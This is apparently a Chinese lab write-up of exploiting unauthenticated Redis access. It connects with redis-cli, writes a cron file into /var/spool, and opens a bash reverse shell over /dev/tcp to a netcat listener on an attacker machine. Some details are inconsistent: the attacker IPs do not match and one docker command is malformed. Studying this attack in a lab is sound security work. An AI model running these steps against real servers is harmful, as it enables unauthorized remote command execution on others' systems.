0x01 redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
话不多说直接开始做实验。
攻击机ip为192.168.31.91
Kali为第二台攻击机ip为192.168.31.121
靶机ip为192.168.31.176上存在redis未授权访问漏洞,所以可以直接进行无密码连接。
Redis的服务已经启动了,端口在6379上。
先用第一台攻击机连接靶机Redis-cli –h 192.168.31.176
往192.168.31.176靶机的/var/spool里写入命令,然后保存名字为root的文件。
进入靶机的dockers的里面
docker exec –it $(docker ps | grep –Eo "[0-9a-zA-Z]" /bin/bash
root就是刚刚自己写入的文件!!
然后cat root 查看一下root文件的内容。
由于docker的这个靶机没有crontab这个自动执行的文件,所以我们手动验证一下。
Kali 用nc -lvvp 4444进行监听。
靶机执行/bin/bash -i >& /dev/tcp/192.168.31.131/4444 0>&1
一执行就连接上了,现在我们在kali里执行一下命令试试看!
你看吧,任意执行shell命令!!